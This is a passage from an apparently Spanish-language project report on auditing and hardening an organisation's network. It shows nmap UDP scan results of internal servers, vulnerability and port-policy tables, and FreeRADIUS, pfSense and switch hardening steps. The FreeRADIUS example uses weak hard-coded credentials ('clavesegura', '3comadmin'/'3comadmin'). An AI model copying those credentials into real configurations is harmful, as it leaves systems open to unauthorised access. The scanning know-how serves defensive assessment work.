A continuacidn, el escaneo UDP a los 1000 puertos mas usuales de los servidores desde la Red Interna
hacia la Red de Servidores. Las salidas del comando Nmap se muestran de forma individual por cada
activo de la organizacion a proteger en el contexto del presente proyecto.

114




Servidor DNS (ver Figura 74).

# nmap -sU -sC -top-ports 1000 10.0.200.14

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-18 08:51 VET
Nmap scan report for dnsOl.mydomain.gob.ve (10.0.200.14)

Host is up, received echo-reply ttl 63 (0.00054s latency).

Scanned at 2015-11-18 08:51:53 VET for 1039s

Not shown: 995 closed ports

Reason: 995 port-unreaches

PORT STATE SERVICE REASON

53/udp open domain udp-response ttl 63
| dns-recursion: Recursion appears to be enabled
111/udp open rpcbind udp-response ttl 63
| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100024 1 40433/udp status

| 100024 1 46236/tcp status

443/udp open https udp-response ttl 63
767/udp open|filtered phonebook no-response
5353/udp open zeroconf udp-response ttl 254

Figura 74. Escaneo de puertos UDP a servidor DNS

Servidor de Pagina Web Institucional (ver Figura 75).

# nmap -sU -sC -top-ports 1000 10.0.200.130

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-18 09:01 VET
Nmap scan report for matrix09.mydomain.gob.ve (10.0.200.130)

Host is up, received echo-reply ttl 63 (0.00043s latency).

All 1000 scanned ports on matrix09.mydomain.gob.ve (10.0.200.130) are
open|filtered because of 1000 no-responses

Figura 75. Escaneo de puertos UDP a servidor Web Institucional
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Servidor de Intranet (ver Figura 76).

# nmap -sU -sC -top-ports 1000 10.0.200.12

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-18 09:12 VET
Nmap scan report for matrix0l.mydomain.gob.ve (10.0.200.12)

Host is up, received echo-reply ttl 63 (0.0010s latency).

Scanned at 2015-11-18 09:12:12 VET for 1086s

Not shown: 998 closed ports

Reason: 998 port-unreaches

PORT STATE SERVICE REASON

68/udp open|filtered dhcpc no-response

111/udp open rpcbind udp-response ttl 63
| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100024 1 36117/tcp status

| 100024 1 42632/udp status

Figura 76. Escaneo de puertos UDP a servidor Intranet

Servidor de Tienda Virtual (ver Figura 77).

# nmap -sU -sC —-top-ports 1000 10.0.200.18

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-18 09:12 VET
Nmap scan report for matrixl2.mydomain.gob.ve (10.0.200.18)

Host is up, received echo-reply ttl 63 (0.0010s latency).

All 1000 scanned ports on matrixl2.mydomain.gob.ve (10.0.200.18) are
filtered because of 1000 host-prohibiteds

Figura 77. Escaneo de puertos UDP a servidor Tienda Virtual

Servidor de Correo Institucional (ver Figura 78).

# nmap -sU -sC -top-ports 1000 10.0.200.141

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-18 09:39 VET
Nmap scan report for 10.0.200.141

Host is up, received echo-reply ttl 63 (0.0039s latency).

Scanned at 2015-11-18 09:39:42 VET for 1085s

Not shown: 999 filtered ports

Reason: 999 host-prohibiteds

PORT STATE SERVICE REASON

53/udp closed domain port-unreach ttl 63

Figura 78. Escaneo de puertos UDP a servidor Correo Institucional
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Servidor LDAP (ver Figura 79).

# nmap -sU -sC -top-ports 1000 10.0.200.4

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2016-01-09 18:45 VET

Nmap scan report for conanOl.mydomain.gob.ve (10.0.200.4)
Host is up, received echo-reply ttl 63 (0.00062s latency).
Scanned at 2016-01-09 18:45:50 VET for 1023s

Not shown: 945 closed ports, 51 open|filtered ports
Reason: 945 port-unreaches and 51 no-responses

PORT STATE SERVICE REASON

111/udp open rpcbind udp-response ttl 63

| rpcinfo:

| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111 /udp rpcbind
| 100024 1 37224/tcp status
| 100024 1 46373/udp status

137/udp open netbios-ns udp-response ttl 63

5353/udp open zeroconf udp-response ttl 254

| dns-service-discovery:

| 9/tcp workstation

| Address=10.0.200.4 £fe80:0:0:0:a00:27ff:fec7:cdll

Figura 79. Escaneo de puertos UDP a servidor LDAP
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Servidor de Almacenamiento (ver Figura 80).

# nmap -sU -sC -top-ports 1000 10.0.200.13

Starting Nmap 6.49BETAS
Nmap scan report for rockyO03.mydomain.gob.ve
Host is up,

( https://

received echo-reply tt

nmap.orqg )

1 63

Scanned at 2015-11-18 10:01:45 VET for 1078s

Not shown:

991 closed ports

Reason: 991 port-unreaches

PORT STATE SERVICE
69/udp open|filtered tftp
111/udp open rpcbind

| rpcinfo:

| program version port/proto
| 100000 2 111/tcp
| 100000 2 111/udp
| 100003 2,3,4 2049/tcp
| 100003 2,3,4 2049/udp
| 100005 1,2,3 39518/udp
| 100005 1,2,3 48905/tcp
| 100011 1,2 699/udp
| 100011 1,2 700/tcp
| 100021 1,3,4 52315/udp
| 100021 1,3,4 55331 /tcp
| 100024 1 45154 /tcp
| 100024 1 55380/udp
| 391002 2 677/tcp
123/udp open ntp

| ntp-info:

|  receive time stamp: 2015-11-18
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
443/udp open https
631/udp open|filtered ipp
2049/udp open nfs
5353/udp open zeroconf

| dns-service-discovery:
| 9/tcp workstation
| Address=10.0.200.13 fe80:0:0:0:214:5eff:fe33:6a66

REASON
no-response

at 2015-11-18 10:01 VET
(10.0.200.13)
(0.0041s latency).

udp-response ttl 63

service
rpcbind
rpcbind
nfs

nfs
mountd
mountd
rquotad
rquotad
nlockmgr
nlockmgr
status
status
sgi fam
udp-response

T14:47:21
udp-response
no-response
udp-response
no-response
udp-response
udp-response

ttl

ttl

ttl

ttl
ttl

63

63

63

63
254

Figura 80. Escaneo de puertos UDP a servidor de Almacenamiento
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Servidor ERP (ver Figura 81).

# nmap -sU -sC -top-ports 1000 10.0.200.26

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-18 10:01 VET
Nmap scan report for matrix03.mydomain.gob.ve (10.0.200.26)

Host is up, received echo-reply ttl 63 (0.0016s latency).

Scanned at 2015-11-18 10:01:38 VET for 10609s

Not shown: 998 closed ports

Reason: 998 port-unreaches

PORT STATE SERVICE REASON

68/udp open|filtered dhcpc no-response

111/udp open rpcbind udp-response ttl 63
| rpcinfo:

| program version port/proto service

| 100000 2 111/tcp rpcbind

| 100000 2 111/udp rpcbind

| 100024 1 47420/tcp status

| 100024 1 53573/udp status

Figura 81. Escaneo de puertos UDP a servidor ERP

Al tabular todos los datos recolectados durante los escaneos TCP y UDP se obtiene la Tabla 21 que

compara el resultado del escaneo de puertos desde la Red Interna hacia la Red de Servidores contra la
politica de la organizacion.
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Tabla 21. Resultados del escaneo de puertos TCP y UDP desde la Red Interna

Direccion Servicio Puertos Puertos abiertos Recomendacion
IP permitidos detectados
segun politica
(usuarios sin
privilegios)
10.0.200.14 | DNS TCP: 53 | TCP: 22 (SSH), 53 (DNS), | Crear reglas de firewall
(DNS) 111  (RPCBIND), 443 |en la Red Interna que
UDP: 53 | (HTTPS), 46236 Unicamente permitan
(DNS) UDP: 53 (DNS), 111 | acceso al servidor por los
(RPCBIND), 443 (HTTPS), | puertos especificados en
5353 (MDNS) la politica
10.0.200.130 | P4gina Web | TCP: 80 | TCP: 22 (SSH), 80 (HTTP) | Crear reglas de firewall
Institucional | (HTTP), 443 en la Red Interna que
(HTTPS) Unicamente permitan
acceso al servidor por los
puertos especificados en
la politica
10.0.200.12 | Intranet TCP: 80 | TCP: 22 (SSH), 80 | Crear reglas de firewall
(HTTP) (HTTP), 81 (HTTP), 111 |en la Red Interna que
(RPCBIND), 5432 | Unicamente permitan
(POSTGRESQL), 36117 acceso al servidor por los
UDP: 111 (RPCBIND) puertos especificados en
la politica
10.0.200.18 | Tienda TCP: 80 | TCP: 22 (SSH), 80| Crear reglas de firewall
Online (HTTP), 443 | (HTTP), 443 (HTTPS) en la Red Interna que
(HTTPS) Unicamente permitan
acceso al servidor por los
puertos especificados en
la politica
10.0.200.141 | Correo TCP: 443 | TCP: 22 (SSH), 25| Crear reglas de firewall
Institucional | (HTTPS) (SMTP), 443 (HTTPS), 587 | en la Red Interna que
(SUBMISSION), 993 | Unicamente permitan
(IMAPS), 7071 (HTTPS) acceso al servidor por los
puertos especificados en
la politica
10.0.200.4 LDAP TCP: 137 —|TCP: 22 (SSH), 80| Crear reglas de firewall
139 (NBT), 389 | (HTTP), 111 (RPCBIND), | en la Red Interna que
(LDAP), 636 | 139 (NBT), 389 (LDAP), | Gnicamente permitan
(LDAPS), 445 | 443 (HTTPS), 445 (SMB), | acceso al servidor por los
(SMB) 636 (LDAPS), 1984 | puertos especificados en
UDP: 137 - | (BIGBROTHER), 37224 la politica
139 (NBT), 389 | UDP: 111 (RPCBIND),
(LDAP), 636 | 137 (NBT), 5353 (MDNS)
(LDAPS)
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Tabla 22. Resultados del escaneo de puertos TCP y UDP desde la Red Interna (Continuacion de la Tabla

21)
Direccion Servicio Puertos Puertos abiertos Recomendacion
IP permitidos detectados
seguin
politica
(usuarios sin
privilegios)
10.0.200.13 | Almacenamiento | TCP: 137 - | TCP: 22 (SSH), 80 | Crear reglas de firewall
Compartido 139 (NBT), | (HTTP), 111 (RPCBIND), | en la Red Interna que
445 (SMB) 139 (NBT), 443 (HTTPS), | unicamente permitan
UDP: 137 — | 445 (SMB), 700, 1984 | acceso al servidor por
139 (NBT) (BIGBROTHER), 2049 | los puertos especificados
(NFS), 45154, 48905, | en la politica
55331
UDP: 69 (TFTP), 111
(RPCBIND), 123 (NTP),
137 — 138 (NBT), 443
(HTTPS), 631, 2049
(NFS), 5353 (mDNS)
10.0.200.26 | ERP TCP: 80 | TCP: 22 (SSH), 80 | Crear reglas de firewall
(HTTP) (HTTP), 111 (RPCBIND), | en la Red Interna que

47420
UDP: 68 (BOOTP), 111
(RPCBIND)

Unicamente  permitan
acceso al servidor por
los puertos especificados
en la politica

4.3 Mitigacion de Vulnerabilidades

Se hallaron en total 22 vulnerabilidades a lo largo de este proyecto. Para clasificarlas mas facilmente se
definen en las siguientes categorias:

e Vulnerabilidad en el disefio.
e Vulnerabilidad en configuraciones.
¢ Violaciones a la politica de firewall.

En la Tabla 23 se hace un resumen de las vulnerabilidades encontradas al aplicar la metodologia.
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Tabla 23. Resumen de Vulnerabilidades Encontradas en la Infraestructura

Vulnerabilidad Tipo Dispositivo que Amenaza Recomendacion
Afecta

Un solo switch core | Vulnerabilidad | Switch Denegacion Implementar

representa un punto | en el disefio de Servicio redundancia de switch

Unico de falla core

Un solo dispositivo | Vulnerabilidad | Router/Firewall | Denegacion Implementar

de borde representa | en el disefio de Servicio redundancia de

un punto Unico de dispositivo de borde

falla

La red de servidores | Vulnerabilidad | Switch, Intrusiones Transferir los

que prestan | en el disefio Router/Firewall, servidores que son

servicios  externos Servidores publicos desde la Red

no estad aislada de de Servidores (DMZ

los servidores de uso Privada) a la DMZ

interno Publica que ya existe
pero no se esta usando

El puerto consola no | Vulnerabilidad | Switch Acceso no | Crear una contrasefia

tiene contrasefia en autorizado para el acceso por

configuracion consola
El acceso a las | Vulnerabilidad | Switch, Acceso no | Implementar ACLs

interfaces de | en Router/Firewall | autorizado para permitir acceso
administracion  no | configuracion administrativo solo a
esta restringido personal autorizado

No se usan | Vulnerabilidad | Switch Captura  de | Configurar los
protocolos seguros | en datos switches para que la
como HTTPS o SSH | configuracion administracion se haga
para acceder a la via SSH o HTTPS
administracion  del

dispositivo

Los dispositivos de | Vulnerabilidad | Switch Acceso no | Configurar los
infraestructura  no | en autorizado switches para que el
requieren clave para | configuracién acceso administrativo
su administracion solicite contrasefa

Los dispositivos no | Vulnerabilidad | Switch Repudiacién, | Implementar un
estdn  configurados | en Cuentas  de | servidor AAA

con  autenticacién | configuracion usuario  sin

centralizada control

Los administradores | Vulnerabilidad | Switch Repudiacion Crear una cuenta para

no tiene su propia
cuenta Unica y con
los privilegios que le
correspondan segun
su nivel

en
configuracion

cada wusuario en un
servidor AAA
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Tabla 24. Resumen de Vulnerabilidades Encontradas en la Infraestructura (Continuacion de Tabla 23)

N Vulnerabilidad Tipo Dispositivo Amenaza Recomendacion
que Afecta
10 | No hay un banner | Vulnerabilidad | Router/Firewall | Incumplimiento Configurar un
configurado con el | en de ley y | banner legal en
fin de que todos los | configuracion regulaciones router/firewall
usuarios que se
conecten tengan
conocimiento de la
politica de la
compafia para el uso
y seguimiento
11 | No se tiene | Vulnerabilidad | Switch Perdida de logs | Configurar los
configurado un | en importantes  que | switches para que
servidor centralizado | configuracion pudieran ayudar a | envien logs al
de logs para registrar investigar un | servidor
los eventos mas incidente de | centralizado
importantes de cada seguridad
dispositivo
12 | No estd configurado | Vulnerabilidad | Switch, Imposibilidad de | Configurar un
NTP en Router/Firewall | correlacionar logs | servidor NTP vy
configuracion de diferentes | hacer que todos los
dispositivos dispositivos
sincronicen con el
13 | No se hacen | Vulnerabilidad | Switch, No poder | Programar  shell
respaldos de los | en Router/Firewall | recuperarse scripts para
archivos de | configuracion rapidamente ante | automatizar la
configuracion un fallo | tarea de backup de
inesperado en la | configuraciones
red
14 | No se evita el uso de | Vulnerabilidad | Switch Ataques de Capa | Crear un nuevo tag
laVLAN 1 en 2 (VLAN [de VLAN vy
configuracion Hopping) sustituir en la red
en que se esta
utilizando VLAN 1
15 | Los puertos de | Vulnerabilidad | Switch Acceso no | Colocar los puertos
switch que no se|en autorizado a lared | sin utilizar de los
estan utilizando no | configuracion switches en una
estan deshabilitados VLAN no
0 en una VLAN no enrutable
enrutable
16 | Servicio wvulnerable | Vulnerabilidad | Switch Aumento de la | Deshabilitar
habilitado (FTP) en superficie de | servicio
configuracion ataque innecesario
17 | Servicio wvulnerable | Vulnerabilidad | Switch Aumento de la | Deshabilitar
habilitado (HTTP) en superficie de | servicio
configuracion ataque innecesario
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Tabla 25. Resumen de Vulnerabilidades Encontradas en la Infraestructura (Continuacion de Tabla 23)

N Vulnerabilidad Tipo Dispositivo que Amenaza Recomendacion
Afecta

18 | Servicio  habilitado | Vulnerabilidad | Router/Firewall | Aumento de la | Deshabilitar servicio
gue no se requiere y | en superficie  de | innecesario
ademas no solicita | configuracién ataque
autenticacion
(DarksStat)

19 | Las red es vulnerable | Vulnerabilidad | Switch Acceso no | Cambiar el tag de
a ataques VLAN |en autorizado a | VLAN en la red
Hopping configuracion VLANS afectada para que no

seael tag 1

20 | Lared es vulnerable a | Vulnerabilidad | Switch Denegacion de | Configurar la
ataques DHCP no | en Servicio, caracteristica DHCP
Autorizado (Rogue) configuracion Ataque a | Snooping en el

Servicio de | switch
Red

21 | La red es vulnerable a | Vulnerabilidad | Switch DoS, Ataques | Configurar
ataques de | en de Capa 2, | proteccion ARP en
Envenenamiento configuracion Captura de | el switch
(Poisoning) ARP datos sensibles

22 | Las reglas de firewall | Violacion a la | Firewall Acceso no | Crear las reglas
actuales en la Red | politica de autorizado, necesarias para
Interna no cumplen | firewall Abuso de la | implementar la
con las politicas de la Red, Filtracion | politica en la Red
organizacion de Datos Interna

A continuacion, se muestra el proceso seguido para resolver las vulnerabilidades encontradas.

4.3.1 Implementacion de un Servidor AAA
RADIUS es un protocolo que implementa el esquema AAA. El servidor RADIUS de cédigo abierto mas
importante y mas implementado es FreeRADIUS y es la opcion escogida para el desarrollo de este

proyecto en su version 2.2.5.

Para esta implementacion se utilizé un servidor Debian 8 a la que se le instal6 del repositorio oficial de
Debian el paquete freeradius.

Para instalar Free RADIUS en Debian se ejecutan el siguiente comando:

# aptitude install freeradius freeradius-utils

Luego se modifican los archivos de configuracion del software de acuerdo al entorno de la organizacion.
Con un editor de textos se modifica el archivo /etc/freeradius/clients.conf Yy se agrega lo

siguiente al final del archivo:
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#clientes (NAS) de la organizacion

client 10.0.254.0/24 {
secret = clavesegura
shortname = management-network

Con la modificacién anterior se estad configurando el servidor para que acepte clientes (NAS) de la red
10.0.254.0/24 que es la Red de Administracion de la organizacion en la que estan las interfaces de
administracion de los switches que son justamente los dispositivos cuya autenticacion se quiere
centralizar.

Para crear los usuarios que van a poder autenticarse en los dispositivos de red se edita el archivo
/etc/freeradius/users. Para crear usuarios y asignarles permisos se usan diferentes parametros
gue pueden consultarse en el manual de FreeRADIUS. EIl software de los switches de la organizacién es
de la compafiia 3com y para crear un usuario administrador en esta clase de equipos se agregan las
siguientes lineas al principio del archivo:

#Usuario administrador de equipo 3com
3comadmin Cleartext-Password := "3comadmin"
3Com-User—-Access-Level 3

Al hacer la modificacion anterior se cred el usuario con permisos de administrador con nombre de usuario
3comadmin y contrasefia 3comadmin. Los niveles de acceso para el caso de 3com vienen dados por el
parametro  3Com-User-Access-Level y los valores, de acuerdo al archivo
/usr/share/freeradius/dictionary. 3com, son los siguientes:

o (0 para permisos de visitante.

e 1 para permisos solo de monitor.

e 2 para permisos de administracion sin incluir opciones de seguridad.
e 3 para todos los permisos posibles de administracion.

Luego de modificar archivos de configuracion debe reiniciarse el servicio freeradius. Para ello se
hace uso del siguiente comando:

# /etc/init.d/freeradius restart

Para comprobar que el servicio esta corriendo puede ejecutarse el comando a continuacién:

# ps ax | grep freeradius

De esta manera, ya se tiene una instalacion basica de FreeRADIUS con un usuario creado que ya se puede
usar para autenticarse en los switches 3com de la organizacién una vez se configuren estos para aceptar
autenticacion via RADIUS.
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4.3.1 Configuracion Segura de los Dispositivos de Infraestructura
Configuracion del Router/Firewall

En la organizacion se usa una distribucion FreeBSD llamada Pfsense instalada en un servidor que actla
como dispositivo Router/Firewall interno. Este software se configura mediante una interfaz web como la
gue se puede ver en la Figura 82.

r VPI » Slafls » Diagnostics » Gold » Help

» Interfaces» Firewall » Semnvices

» System

an fwees.mydomain

Status: Dashboard
@

2 System Information = 3 Interfaces =
Name fwees mydomain 1000baseT =full-duplex:=
- Cwan 1
Version 2.2.1-RELEASE (i386) 192.168.10.15
buitt on Fri Mar 13 08:16:53 CDT 2015 1000baseT <ful-dupl
FreeBSD 10.1-RELEASE-p& asel =<Tull-duplex=
ree P [ INTERNA 1

Update available. Click Here to view update. 10.0.203.1

1000baseT =full-duplex:=

Platform pfSense [ SERVIDORES +
CPU Type IntelfR) Core(Th) i3 CPU W 380 @ 2 53GHz 10.0.200.1
2 CPUs: 1 package(s) x 2 core(s) o 1000baseT =full-duplex:
Uptime 01Hour 37 Minutes 14 Seconds ADMINISTRACION t 10.0.254.1
(M Mon Nov 23 9:41:42 VET 2015

Figura 82. Pantalla Principal de Pfsense

Los elementos més importantes de esta interfaz son los siguientes:

1. Es la barra principal de navegacion de la interfaz, desde ella puede llegarse a todas las pantallas
de configuracién que se van a mostrar en el resto de la seccion.

2. Es un widget que muestra la informacidn del servidor.

3. Un widget que muestra todas las interfaces configuradas en el servidor, su direccion IP y su
estatus.

NTP

Lo primero es configurar un servidor centralizado de hora mediante NTP, la idea es que todos los
dispositivos sincronicen sus relojes contra este de manera que al momento de correlacionar logs los
mismos muestren hora y fecha correctas. El router/firewall de la organizacion puede configurarse como
servidor NTP, en el menu principal hay que dirigirse a Services > NTP y aparece la pantalla que se ve en
la Figura 83.
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Services: NTP DEGEL®
- CIEAER

NTF Server Configuration

Interface(s) WAN

INTERNA

SERVIDORES 1
ADMINISTRACION

Interfaces without an IP address will not be shown.

Selecting no interfaces will listen on all interfaces with a wildcard.
Selecting all interfaces will explicitly listen on only the intefaces!|Ps specified.

Time Servers *%, 0.south-america.pool .ntp.org #| prater noselect
\‘1.south-america.poo|.ntp.org prefer noselect
\‘2.south-america.poo|.ntp.org prefer noselect 2
=

For best results three to five servers should be configured here.

The prefer option indicates that NTP should favor the use of this server maore than all others.

The noselect option indicates that NTP should not use this server for time, but stats for this server will be collected and

displayed.
Orphan mode K (0-15)
Orphan mode allows the system clockto be used when no other clocks are available. The number here specifies the

stratum reported during erphan mode and should normally be setto a number high enough to insure that any otherservers
available to clients are preferred over this server. (default: 12).

NTP graph
grapns Enable RRD graphs of NTP statistics (default: disabled).

Syslog legging These options enable additional messages from NTP to be written to the System Log [Status = System Logs = NTP).

¥| Enable logoing of peer messages (default: disabled). 3
¥ Enable logging of system messages [default: disabled).

Figura 83. Configurar Servidor NTP
Se ejecutan los siguientes pasos:
Paso 1: Seleccionar las interfaces del router/firewall en las que se quiere habilitar el servicio.

Paso 2: Se coloca la lista de servidores NTP externos con los que sincronizar el reloj del router/firewall.
En este caso se hace uso de servidores publicos disponibles en Internet.

Paso 3: Se habilita la generacion de logs adicionales. Este paso es opcional.

Al seguir los pasos anteriores se logra la configuracion de un servidor NTP en el software del
router/firewall de la organizacion. Mas adelante en este mismo trabajo se van a configurar diferentes
dispositivos para que sincronicen fecha y hora con este servidor.

Restringir Acceso Administrativo

Se restringira el acceso administrativo para que solo el personal autorizado (administradores de red) tenga
acceso de administracién al dispositivo. Para esto se recomienda primero hacer uso de alias (agrupacion
de varios parametros bajo un nombre) para simplificar el proceso de configuracion. Para esto se
ejecutaron los siguientes pasos:

Paso 1: Dirigirse a Firewall > Aliases y se crean dos alias. El primer alias se nombré PersonalRedes y
agrupa las direcciones IP de los equipos de los administradores de red (ver Figura 84). El segundo alias se
denomind P_443 22 y agrupa los nimeros de puertos que interesan para la administracion del
router/firewall que son el puerto 22 y el 443 (ver Figura 85).
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Paso 2: Ir a Firewall > Rules para crear una regla en la interfaz Red Interna que permita la comunicacion
desde un origen autorizado (méaquinas de los administradores de red) hacia las interfaces de
administracion del router/firewall por los puertos permitidos. También debe crearse una regla que bloquee
el tréfico hacia las interfaces de administracion desde cualquier otro origen. Aqui el orden de las reglas es
importante y hay que asegurarse que primero esta la de permitir y luego la de bloquear tal como se ve en
la Figura 86. En la misma figura puede observarse que se hace uso de los alias creados en el paso anterior.

De esta manera, se ha restringido el acceso a la interfaz de administracion del router/firewall solo al
personal de administradores de red en la organizacion.

W03 2], e 25, 203 24,
T 20327, 20320

i 203 0, SRS 203 217, 203 25,

FersonalDesarrollo

FPersonalRedes e — Administradores de Red
PersonalServidores N 203 25, A 05 13, s 03 15
RN 703 5, MENNS 703 5, aislne 203 12,
PersonalSoporte iRAsNS 203 26, eiaii 203 5, MWD 203 250
Figura 84. Creacion de alias de grupos de IP con respecto a personal Tl
P_443_22 22,443
F_80_443 443, 80
Figura 85. Creacidn de alias para grupos de puertos en el firewall
[ IPv4 TCF | PersonalRedes * This Firewall P 443 22 * none
| FUd TP | Personaledes T [ F a3 27 T Rone
[ IPv4 TCF | PersonalRedes * A 024 P 80 443 * none
| IPv4 TCP | Bedinterna * [ e 3128 * none
| IPv4 Eedinterna * This Firewall 123 (MTP) * none
UDP
%] Py * * * This Firewall * * none
i}
(%) IPwd * * * i 54 0i24 * * none
i}
%) IPwd * * * g 0513 * * none
i

Figura 86: Reglas para permitir acceso de administracion al firewall solo a Administradores de Red
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Banner Legal

La siguiente configuracion por realizar es la implementacion de un banner legal que se muestre cuando
un usuario accede a la administracién via SSH del dispositivo. Esto con el fin de que esté consciente de la
actividad de monitoreo que se estd haciendo. Desde CLI en el router/firewall se hace de la siguiente
manera:

Paso 1. Se crea un archivo con el texto del banner. En este caso el archivo se cre6 en la ruta
/etc/ssh/bannery se agrega en ese archivo el mensaje que se desee colocar como banner legar. El
comando para abrir el archivo y poder editarlo es:

# vi /etc/ssh/banner |

Paso 2: Se edita el archivo /etc/sshd usando el comando vi y se busca la cadena con el siguiente
texto "/* Include default configuration for pfSense */" Yy justo en la linea
siguiente se agrega la siguiente cadena:

|$Sshconf .= "Banner /etc/ssh/banner\n"; |

Paso 3: Se reinician los servicios del firewall para que el servicio SSH cargue la nueva configuracion que
se acaba de hacer. EI comando es el siguiente:

| # /etc/rc.reload all |

Luego de seguir la secuencia de pasos el resultado es que al tratar de hacer login via SSH en el firewall
aparecera un mensaje como el de la Figura 87. Este es el texto que previamente se guardo en el archivo
/etc/ssh/banner.

Figura 87. Banner legal al tratar de conectar via SSH al firewall/router
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Autenticacion Centralizada

El software Pfsense no tiene soporte para autenticar usuario web mediante algun servidor AAA por lo que
se omite hacer este paso.

Configuracion del Switch

Los switches de la organizacion se administran principalmente via una interfaz web que se muestra en la
Figura 88.

q- c c B
/ Web Management Platform
AUYANTEFPUY-B Device Information
@ Wizard 2
O i System Resource State
CPU Usage | 3%
Device
MNetwo rk
Temperature _ MHarmal
Authentication
Security Recent System Logs 3
Qos Time Level Description
Apr3020:23:04:214 2000 Warning admin logged infrom 10.10.70.6
N d q -AAAType=ACCOUNT-AAAScheme= local-Senvice=login-
1 Apr 30 20:23:04:201 2000 Information UserMame=admin@system; AAA is successful.
. . " -AAAType=ACCOUNT-AAAScheme= local-Senice=login-
Apr 30 20:23:04:200 2000 Information Userllame=admin@system; AAA launched.
! -AAATYpPe=AUTHOR-AAAScheme= |ocal-Senvice=login-
An eI HHI2u0 niratiog UserMName=admin@system; AAA is successful
. . -AAAType=AUTHOR-AAASchemes= local-Senice=login-
Apr3020:23:04:198 2000 Information Userlame=admin@system; AAA launched.

Iiore Logs On Devicelore...

Refresh Period | Manual 4 Refresh

Figura 88. Interfaz de configuracién del switch

En la interfaz de configuracion del switch hay 3 secciones principales que son las siguientes:

1. Menu principal, desde este menl se puede acceder a todas las configuraciones que se van a
describir en esta seccion.

2. Estado de los recursos del dispositivo.

3. Muestra los ultimos logs generados por el equipo, puede notarse en la Figura 88 que la fecha de
los logs esta totalmente desactualizada.

NTP

La primera tarea es configurar NTP en los switches para que sincronicen el reloj del dispositivo con el del
servidor NTP de la organizacion que se configurd en una seccion anterior de este trabajo. Para hacer esto

en el menu principal se selecciona Devices > System Time >Net Time y aparece la pantalla de la Figura
89.
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System Time

Clock status: synchronized

Source Interface Vlan-interfacel v
Foll Interval 64 v Seconds
Keyl [] (1-4294967295) Key String (1-32 Chars))
Key 2 D (1-4294967295) Key String (1-32 Chars))

External Reference Source

MTP Serverl 10.0.2541 1 Reference Key D
TP Server 2 RFeference Key D
Set System TimeZone 2
TimeZone | (GMT -04:30) Caracas A

Apply 3

Figura 89. Configuracion de NTP en el switch

Paso 1: Se coloca la direccion IP del servidor NTP que se tiene en la red para sincronizar contra €l la hora
del equipo.

Paso 2: Se selecciona la zona horaria que en este caso es la de Caracas, Venezuela

Paso 3: Click en Apply y luego de aproximadamente un minuto aparece el mensaje “Clock status:
synchronized”.

Envio de logs

Lo siguiente es configurar los dispositivos para que envien logs al servidor syslog de la organizacién.
Para esto hay que seleccionar Device > Syslog > Loghost en el menu principal y colocar en el campo
correspondiente la IP de un servidor syslog que se tenga implementado y luego hacer click en el boton
“Apply” para que los cambios surtan efecto, la pantalla en la que se hizo esta configuracion es la que se
ve en la Figura 90.

Loglist Log Setup

Loghost

® IPy4 IPv6
LoghostIP 10.0.200.249| *

[tems marked with an asterisk(*) are required
Apply

Please selectthe loghost IP

Loghost IPw4 address

Figura 90. Configurar el envio de logs a un servidor central
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Habilitar Servicios Seguros

Los protocolos FTP, Telnet y HTTP se consideran inseguros ya que la informacién viaja en texto plano.
A continuacion, se configuran los switches para que el acceso administrativo sea Unicamente mediante
protocolos seguros SSH y HTTPS. Para ello se selecciona Network > Service en el mend principal y
aparece la pantalla de la Figura 91 en la que se deselecciona Telnet, HTTP, FTP y se activan los servicios
SSH, SFTP y HTTPS que son seguros. Esta configuracion es sencilla de hacer.

PFTP Enable FTP semice
Telnet Enable Telnet semice
SSH ¥/ Enable SSH service
SFTP ¥ Enable SFTP senvice
PHTTP Enahle HTTP semice
PHTTPS ¥ Enable HTTPS semwice
PEI Domain: v

lterms marked with an asterisk(*) are required
Apply Cancel

Figura 91. Habilitacion de servicios seguros en el switch
Restringir Acceso Administrativo

Esta tarea consiste de restringir el acceso administrativo a los switches a solo equipos de personal
autorizado (administradores de red). Atendiendo al principio de defensa en profundidad (defense in depth)
la restriccidn se hara en dos niveles: Primero en el firewall y luego mediante ACLs en el propio switch.

Para hacer la restriccion en el firewall se crearon las reglas que se ven en la Figura 92. Primero una regla
gue permite el acceso a todo el segmento 10.0.254.0/24 (Red de Administracion) solo al personal
autorizado (representados por el alias PersonalRedes) y luego una regla que blogquea el acceso a la Red de
Administracion al resto de usuarios.

132



| IPv4 TCF | PersonalFedes * This Firewall P 443 22 * none
[ IPv4 TCF | PersonalRedes * s, V51 3 P 443 22 * none
[ IPv4 TCF | PersonalRedes * A 024 P 80 443 * none
IPv4 TCP | Eedinterna * [ ek 3128 * none
[ IPvd Eedinterna * This Firewall 123 (MNTP) * none
UDP
%] Py * * * This Firewall * * none
Li |
%) P4 * * * abmblie P4 024 |t * none
Li |
T TS Tore
Li |

Figura 92. Reglas en la interfaz Red Interna para permitir solo acceso autorizado a la Red de
Administracion

Ademad de proteger el acceso administrativo a los switches con reglas del firewall también se hara
mediante ACLs en el propio dispositivo. Todas las configuraciones a continuacion se hicieron en la
pantalla QoS > ACL IPv4 del menu. Se procedié como sigue:

Paso 1: Se crea una ACL bésica y luego click en “Apply” (ver Figura 93). Lo importante en este paso es
gue se cre6 una ACL con el identificador 2001 que es el valor que representa la ACL en cualquier lugar
que se use.

Summary Basic Setup Advanced Setup Link Layer Setup Femove
ACL Mumber 2001 1 2000-2999 for basic ACLs.
3000-3999 for advanced ACLs.

4000-4999 for Ethernet frame header ACLs.
Match Order Config »

2 Apply

ACL Mumber Type FMumber of Rules Watch Order
2001 Basic i Config

Figura 93. Creacion de una ACL bésica en el switch
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Paso 2: Se configura la ACL creada en el Paso 1 con las redes o direcciones IPs a las que se va a permitir
el acceso de administracion al switch. Los subpasos son los siguientes (ver Figura 94):

1: Seleccionar ACL a editar.

2: La accidn a realizar que en este caso es de permitir.

3: Interesa que solo el personal autorizado tenga acceso. El procedimiento es ingresar una por una
